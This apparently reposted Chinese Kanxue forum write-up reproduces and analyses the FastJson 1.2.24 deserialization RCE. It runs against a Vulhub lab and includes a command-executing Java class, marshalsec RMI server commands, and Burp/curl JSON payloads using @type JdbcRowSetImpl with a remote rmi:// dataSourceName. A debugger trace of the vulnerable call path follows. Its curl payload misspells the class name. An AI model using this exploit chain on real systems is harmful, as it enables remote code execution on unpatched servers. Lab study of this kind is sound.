查看原文
其他

FastJson复现分析

肆零柒柒 看雪学苑 2022-07-01

本文为看雪论坛优秀文章

看雪论坛作者ID:肆零柒柒



本文从复现与调试分析两个方向简述了此漏洞,逐步跟踪漏洞执行流程。漏洞的复现与调试分析采用了两套环境:

复现:Windows+WSL_Ubuntu18.04+Vulhub

调试分析:Windows+IDEA+WSL_Ubuntu18.04


漏洞  复现


使用 VulHub-Docker 环境


采用 Vulhub 中的FastJson 1.2.24-RCE 集成式Docker环境。

 

此处需要用到一些其他知识:

  • git 基础命令

  • docker/docker-compose 基础命令

  • curl 基础命令


VulHub 下载命令:

  • GitHub:git clone https://github.com/vulhub/vulhub.git

  • Gitee:git clone https://gitee.com/Plastilina/vulhub.git


下载完成后进入相关漏洞环境目录,此处为:/vulhub/fastjson/1.2.24-rce


目录下具有docker-compose.yml文件,为docker compose的配置文件,通过此文件构建一个具有FastJson 1.2.24-RCE漏洞的Docker容器。


构建命令:docker-compose build
启动命令:docker-compose up -d
停止命令:docker-compose down

进入docker容器命令:


a. 使用docker ps获取对应容器的CONTAINER ID 
b. 进入docker容器
docker exec -it <CONTAINER ID> /bin/bash

检测是否正常使用:在本机运行curl http://127.0.0.1:8090


出现下图信息,表示正常运行:


构建恶意访问请求Payload


注意:此文件构建在另一主机上
 
此处需要使用到的其他知识:javac 基础命令

创建TouchFile.java文件

拷贝如下代码
// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; # Windows # String[] commands = {"notepad.exe"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }}

执行编译命令,生成class文件
javac TouchFile.java


使用python 创建简易文件服务器


注意:此文件服务器不与目标机同一机器上
 
命令行模式下cd到构建了恶意payload文件目录下:
执行命令:python -m http.server [port]
 
例:python -m http.server 1111

出现下图所示表示成功:
此时在目标主机应该可以访问到此目录下的文件。

在目标主机执行命令:
curl http://<存放了payload主机的IP>:1111
 
返回的数据中应有如下类似数据:


使用marshalsec 创建恶意RMI服务


注意:此RMI服务不在目标主机上,在搭建了文件服务器的主机上。(当然,它也可以在其他机器中,只要各个机器可以互相访问)
 
RMI:Remote Method Invocation,远程方法调用。RMI服务类似以前的电话转接员,用于告诉服务器的去哪里寻找他要的东西。这里绑定了恶意的python文件服务器,被攻击方将会到文件服务器中访问指定的class文件。
 
此处需要用到一些其他知识:
  • java 基础命令

  • maven 基础命令


下载marshalsec
Github:git clone https://github.com/mbechler/marshalsec.git
Gitee:git clone https://gitee.com/Plastilina/marshalsec.git
 
下载完成后进入marshalsec目录,其中有一个pom.xml文件,这是一个maven的项目构建文件。
 
使用maven构建项目:mvn compile

构建完成后,在该目录下会有一个target目录,内含构建好的jar包。我们需要使用的为marshalsec-0.0.3-SNAPSHOT-all.jar。
 
也可以直接下载编译完成的jar包
链接:Gitee: git clone https://gitee.com/Plastilina/marshalsec-jar.git
 
然后进入jar包所在文件执行命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer <"文件服务器地址:端口/TouchFile"> <监听端口>

例:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.192.113:8000" 9999

攻击


注:下列操作皆在恶意主机中执行。
 
启动BurpSuite,创建一个Repeader、host、端口指向目标机,当然也可以直接使用Curl。拷贝如下代码:
# BurpSuitePOST / HTTP/1.1Host: 目标机器:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 160 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://恶意主机IP:9999/TouchFile", "autoCommit":true }} # Curlcurl <目标主机IP>:<端口>/user -H "Content-Type:application/json" -d '{"b":{"@type":"com.sn.rowset.JdbcRowSetImpl","dataSourceName":"rmi://<文件服务器ip>:<端口>/TouchFile","autoCommit":true}}'

发送请求

如果成功将有如下表现:

1. 文件服务器将出现如下记录。这是来自目标服务器的访问(RMI将你的数据信息告诉了目标服务器)

如果此处未出现任何记录,请检查目标主机与恶意主机是否可以互相ping通,其次请检查,RMI服务是否注册绑定文件服务器(注意在绑定时,填写的恶意主机IP不能是本地回环地址,这是要发送到目标主机的数据)

2. 如果RMI服务出现如下记录。这是来自目标服务器的访问,他将告诉目标主机去哪里获取它想要的文件数据。

如果此处未出现任何记录,请检查目标主机与恶意主机之间是否可以互相访问(ping)。其次检查请求包dataSourceName字段是否填写正确。

3. 目标docker容器执了命令,这里是在tmp目录下创建了success文件。

漏洞  分析


IDEA构建调试环境


为了方便分析调试和追踪恶意数据,便不使用vulhub集成环境了。

代码链接:Link

JDK版本:8u102,默认开启com.sun.jndi.rmi.object.trustURLCodebase。为什么要开启这个服务,开启trustURLCodebase表示允许远程加载工厂类,可通过各种协议进行远程调用。

调试执行


1. 调试启动服务端

使用IDEA调试启动服务端,指定监听端口可在src/main/resources/application.properties目录下修改。

2. 构建payload触发漏洞

使用curl发送payload
curl <服务端ip>:<端口号>/user -H "Content-Type:application/json" -d '{"b":{"@type":"com.sn.rowset.JdbcRowSetImpl","dataSourceName":"rmi://<恶意文件服务器主机ip>:<端口号>/TouchFile","autoCommit":true}}'

漏洞分析


观察异常堆栈


当恶意代码执行完毕后,由于后续的状态的校验没有通过,会触发异常,返回调用堆栈。(请启用断点中的异常断点)
 
截取主要部分,整个堆栈大致可以分为两部分:
  1. 1-7行,为JdbcRowSetImpl中反射调用利用链流程。

  2. 8-末,为FastJson中的反序列化处理流程。

java.sql.SQLException: JdbcRowSet (连接) JNDI 无法连接 at com.sun.rowset.JdbcRowSetImpl.connect(Unknown Source) ~[na:1.8.0_102] at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(Unknown Source) ~[na:1.8.0_102] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_102] at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) ~[na:1.8.0_102] at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) ~[na:1.8.0_102] at java.lang.reflect.Method.invoke(Unknown Source) ~[na:1.8.0_102] at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:96) ~[fastjson-1.2.24.jar!/:na] at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:593) ~[fastjson-1.2.24.jar!/:na] at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:922) ~[fastjson-1.2.24.jar!/:na] at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_2_JdbcRowSetImpl.deserialze(Unknown Source) ~[na:na] at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184) ~[fastjson-1.2.24.jar!/:na] at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368) ~[fastjson-1.2.24.jar!/:na] at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327) ~[fastjson-1.2.24.jar!/:na] at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293) ~[fastjson-1.2.24.jar!/:na] at com.alibaba.fastjson.parser.DefaultJSONParser.parseExtra(DefaultJSONParser.java:1490) ~[fastjson-1.2.24.jar!/:na] at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:766) ~[fastjson-1.2.24.jar!/:na] at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:600) ~[fastjson-1.2.24.jar!/:na] at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:922) ~[fastjson-1.2.24.jar!/:na] at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_User.deserialze(Unknown Source) ~[na:na] at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184) ~[fastjson-1.2.24.jar!/:na] at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:639) ~[fastjson-1.2.24.jar!/:na] at com.alibaba.fastjson.JSON.parseObject(JSON.java:339) ~[fastjson-1.2.24.jar!/:na] at com.alibaba.fastjson.JSON.parseObject(JSON.java:307) ~[fastjson-1.2.24.jar!/:na] at com.alibaba.fastjson.JSON.parseObject(JSON.java:270) ~[fastjson-1.2.24.jar!/:na] at com.alibaba.fastjson.JSON.parseObject(JSON.java:370) ~[fastjson-1.2.24.jar!/:na] at com.alibaba.fastjson.JSON.parseObject(JSON.java:452) ~[fastjson-1.2.24.jar!/:na]


流程跟踪


针对JdbcRowSetImpl中反射调用利用链流程跟踪。


JdbcRowSetImpl这条利用链也算比较经典,主要利用了Java的反射机制触发漏洞。

在Method.invoke处设置断点,发送Payload触发断点。

以看见setAutoCommit方法被调用了,这也就是Payload中设置AutoCommit:false的原因(其实true/false无所谓,只是为了触发反射调用。
随后进入setAutoCommit源码,发现调用了connect,继续跟进。
跟进后发现了JNDI初始化流程,而这里的getDataSourceName,返回的便是我们Payload中DataSouceName。
lookup中的参数可控,就和exec参数可控一样,具有很高的危险性。

至此,通过RMI协议加载并实例化远程类,触发构造方法、静态方法等等,达到了攻击的目的。

针对FastJson中的反序列化处理流程跟踪。


JSON.parseObject

JSON.parseObject主要做了这么几件事:

1. 将输入的byte字节数组转为String
2. 创建并初始化DefaultJSONParer解析器
3. 使用解析器解析输入流

DefaultJSONParser.parseObject

JSON.parseObject主要做了这么几件事:

1. 创建User类的序列化器
2. 使用序列化器反序列化

JavaBeanDeserializer.deserialze

这里的JavaBeanDeserializer.deserialze对应着上面的序列化器。采用了JAVA的ASM技术动态的生成了类,并使用其创建了序列化器。
其主要做了一下几件事:

1. 遍历JSON字符串,查看是否有对应的字段,有则填充:

2. 当并未在字符串中扫描到对应的字段时,流程会走向JavaBeanDeserializer.parseField。

JavaBeanDeserializer.parseField

JavaBeanDeserializer.parseField内会做如下几件事:

1. 调用smartMatch,尝试从已有的FieldDeserializers中匹配字段反序列化器。


2. 当没有匹配到对应的反序列化器时,流程走向DefaultJSONParser.parseExtra。


而parseExtra内会匹配extraTypeProviders,匹配失败的话流程走向DefaultJSONParser.parse。



DefaultJSONParser.parse

DefaultJSONParser.parse内会做如下几件事:

1. 根据lexer选择执行流程,lexer在最开始初始化DefaultJSONParer内完成。

这里的LBRACE对应着字符{。然后调用DefaultJSONParer.parseObject一个重载再次解析。




DefaultJSONParer.parseObject

重点来了,流程如下:

1. 解析JSON格式的payload,扫描到@type字段后,使用类加载器加载对应的类JdbcRowSetImpl。这里也是FastJson这个漏洞的主要的点,没有正确的处理@type流程,自动加载了任意工厂类,导致了漏洞的发生,后的补丁也是在此处增加黑白名单用于过滤已知的可利用的类。
2. 获取JdbcRowSetImpl的序列化器进行反序列化。
3. 在反序列化时,通过反射调用触发漏洞。



漏洞  总结


关于反序列系列的漏洞,我们通常关注的两个点:
  • 反序列化链

  • 如何触发反序列化链的调用


如前边所展现的com.sn.rowset.JdbcRowSetImpl便是一条反序列化链,通过设置dataSourceName与autoCommit属性,通过反射机制达到加载恶意类文件目的。

类似的利用链还有com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。
 
而接下来的FastJson一系列的调用,便是对反序列化的链的一个利用。

可以发现,在首次反序列化失败后,流程会扫描传入的JSON字符串,并根据@type字段的值进行指定类型的构造,这也是此次漏洞主要的点。
 
在FastJson更高版本的补丁中便是增加了对@type类型进行了一系列的检查过滤。
 
参考
fastjson历史漏洞研究(一)
基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI
Fastjson 流程分析及 RCE 分析



- End -




看雪ID:肆零柒柒

https://bbs.pediy.com/user-home-876724.htm

  *本文由看雪论坛 肆零柒柒 原创,转载请注明来自看雪社区。



《安卓高级研修班》2021年6月班火热招生中!


# 往期推荐





公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存